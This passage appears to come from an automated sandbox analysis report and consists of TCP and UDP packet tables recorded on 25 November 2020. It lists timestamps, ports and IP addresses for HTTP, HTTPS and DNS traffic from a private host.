Nov 25, 2020 19:08:00.090327978 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090334892 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090380907 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090421915 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090435982 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090464115 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090501070 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090702057 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090747118 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090787888 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090816021 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090827942 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090867996 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090872049 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090907097 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090909958 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090924978 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090959072 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090967894 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.091016054 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.092390060 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.092434883 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.092448950 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.092475891 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.092515945 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.092540026 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.092556953 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.092564106 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.092606068 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.092626095 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.092704058 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.093429089 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.093471050 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.093509912 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.093518972 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.093550920 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.093600988 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.093642950 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.093648911 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.093662977 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.093683004 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.093736887 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.093969107 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094011068 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094049931 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094065905 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094105959 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094244003 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094284058 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094306946 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094324112 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094331980 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094377995 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094655991 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094701052 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094717026 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094741106 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094788074 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094796896 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094834089 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.094887972 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.094953060 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095073938 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095115900 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095134020 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095163107 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095199108 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095266104 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095324993 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095356941 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095376015 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095396996 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095407009 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095432997 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095449924 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095463991 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095518112 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095520973 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095549107 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095580101 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095599890 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095612049 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095664024 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095866919 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095930099 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.095935106 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095977068 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.095992088 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096013069 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096045017 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096064091 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096081018 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096163034 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096519947 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096575022 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096591949 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096621037 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096632957 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096673965 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096676111 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096714973 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096754074 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096759081 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096772909 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096779108 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096801996 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.096802950 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.096890926 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.097146034 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.097189903 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.097228050 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.097229958 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.097270966 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.097273111 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.097291946 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.097326040 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.097589016 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.097624063 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.097661972 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.097681046 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098685026 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098721027 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098751068 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098761082 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098781109 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098784924 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098812103 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098824978 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098839998 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098850012 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098855019 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098884106 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098913908 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098937035 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098943949 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.098958969 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.098974943 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099004984 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099014997 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099033117 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099035978 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099040985 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099067926 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099088907 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099103928 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099123955 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099138975 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099154949 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099169970 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099194050 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099201918 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099216938 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099235058 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099263906 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099294901 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099296093 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099325895 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099328041 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099366903 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099383116 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.099443913 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.099495888 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:05.081367970 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:05.081464052 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:08.586683035 CET	49744	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:08:08.586699009 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:08:08.586930990 CET	49746	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.586978912 CET	49749	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.586982012 CET	49750	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.587037086 CET	49747	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.587187052 CET	49751	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.587203979 CET	49748	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606009960 CET	443	49746	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606055021 CET	443	49749	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606086969 CET	443	49746	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606121063 CET	443	49749	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606132984 CET	49746	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606148005 CET	443	49747	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606183052 CET	49749	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606189966 CET	49746	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606190920 CET	443	49747	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606194019 CET	49749	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606230021 CET	443	49750	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606245995 CET	49747	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606256008 CET	443	49750	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606278896 CET	49747	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606282949 CET	443	49748	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606308937 CET	443	49748	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606334925 CET	443	49751	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606353045 CET	49748	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606360912 CET	443	49751	151.101.1.44	192.168.2.7
Nov 25, 2020 19:08:08.606363058 CET	49750	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606379986 CET	49748	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606384039 CET	49750	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606487989 CET	49751	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.606503010 CET	49751	443	192.168.2.7	151.101.1.44
Nov 25, 2020 19:08:08.619241953 CET	443	49744	87.248.118.23	192.168.2.7
Nov 25, 2020 19:08:08.619422913 CET	49744	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:08:08.620163918 CET	443	49745	87.248.118.23	192.168.2.7
Nov 25, 2020 19:08:08.620379925 CET	49745	443	192.168.2.7	87.248.118.23
Nov 25, 2020 19:08:12.931503057 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.104003906 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.104346991 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.104696989 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.276705980 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.278081894 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.278254986 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.528237104 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.697004080 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.697128057 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.697711945 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.697845936 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.866727114 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.866771936 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.867067099 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.867125988 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.867244005 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:13.868510008 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:13.868632078 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:14.035643101 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.035691977 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.035801888 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.035809040 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:14.035859108 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:14.035969973 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.037074089 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.037108898 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.204677105 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.204785109 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.205359936 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.205446959 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.205609083 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:14.248136044 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:15.471545935 CET	443	49776	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:15.471610069 CET	49776	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:15.488590956 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:15.661658049 CET	443	49778	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:15.662904024 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:15.862234116 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:16.035923958 CET	443	49778	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:16.036075115 CET	443	49778	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:16.036175013 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:16.036516905 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:16.040834904 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:16.040895939 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:16.236274004 CET	443	49778	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:16.270323038 CET	443	49778	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:16.891155005 CET	443	49778	162.0.213.229	192.168.2.7
Nov 25, 2020 19:08:16.892837048 CET	49778	443	192.168.2.7	162.0.213.229
Nov 25, 2020 19:08:35.085266113 CET	80	49771	63.250.47.200	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2020 19:06:11.056931019 CET	58739	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:11.084393024 CET	53	58739	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:11.833462954 CET	60338	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:11.860553980 CET	53	60338	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:12.554610968 CET	58717	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:12.595383883 CET	53	58717	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:13.475122929 CET	59762	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:13.502293110 CET	53	59762	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:14.307725906 CET	54329	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:14.334856987 CET	53	54329	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:15.337158918 CET	58052	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:15.364283085 CET	53	58052	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:17.745701075 CET	54008	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:17.782567024 CET	53	54008	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:18.854324102 CET	59451	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:18.891120911 CET	53	59451	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:19.152002096 CET	52914	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:19.179038048 CET	53	52914	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:19.505108118 CET	64569	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:19.517843962 CET	52816	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:19.532403946 CET	53	64569	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:19.554853916 CET	53	52816	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:21.021868944 CET	50781	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:21.065136909 CET	53	50781	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:21.397030115 CET	54230	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:21.442884922 CET	53	54230	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:22.952289104 CET	54911	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:22.989734888 CET	53	54911	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.012271881 CET	49958	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.058299065 CET	53	49958	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.083376884 CET	50860	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.120383024 CET	53	50860	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.563325882 CET	50452	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.606451988 CET	53	50452	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.675216913 CET	59730	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.682296991 CET	59310	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.711731911 CET	53	59730	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.719417095 CET	53	59310	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.728153944 CET	51919	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.765187979 CET	53	51919	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.866103888 CET	64296	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.875442028 CET	56680	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:23.902887106 CET	53	64296	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:23.910701990 CET	53	56680	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:24.368446112 CET	58820	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:24.405493975 CET	53	58820	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:24.803705931 CET	60983	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:24.830702066 CET	53	60983	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:26.128168106 CET	49247	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:26.151326895 CET	52286	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:26.165539980 CET	53	49247	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:26.186822891 CET	53	52286	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:27.627763987 CET	56064	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:27.668288946 CET	53	56064	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:46.492577076 CET	63744	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:46.536113024 CET	53	63744	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:46.795531034 CET	61457	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:46.831132889 CET	53	61457	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:47.746741056 CET	58367	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:47.782336950 CET	53	58367	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:48.099957943 CET	60599	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:48.137887001 CET	53	60599	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:48.559578896 CET	59571	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:48.586680889 CET	53	59571	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:48.754071951 CET	58367	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:48.789752960 CET	53	58367	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:49.070772886 CET	52689	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:49.106427908 CET	53	52689	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:49.629062891 CET	59571	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:49.656058073 CET	53	59571	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:49.770131111 CET	58367	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:49.797166109 CET	53	58367	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:53.417267084 CET	58367	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:53.425503969 CET	59571	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:53.452528954 CET	53	59571	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:53.452899933 CET	53	58367	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:53.747850895 CET	50290	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:53.775022984 CET	53	50290	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:54.561614037 CET	60427	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:54.588794947 CET	53	60427	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:55.425499916 CET	56209	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:55.432627916 CET	59571	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:55.461232901 CET	53	56209	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:55.468116999 CET	53	59571	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:56.205265999 CET	59582	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:56.240854979 CET	53	59582	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:57.004164934 CET	60949	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:57.031251907 CET	53	60949	8.8.8.8	192.168.2.7
Nov 25, 2020 19:06:57.433567047 CET	58367	53	192.168.2.7	8.8.8.8
Nov 25, 2020 19:06:57.460771084 CET	53	58367	8.8.8.8	192.168.2.7
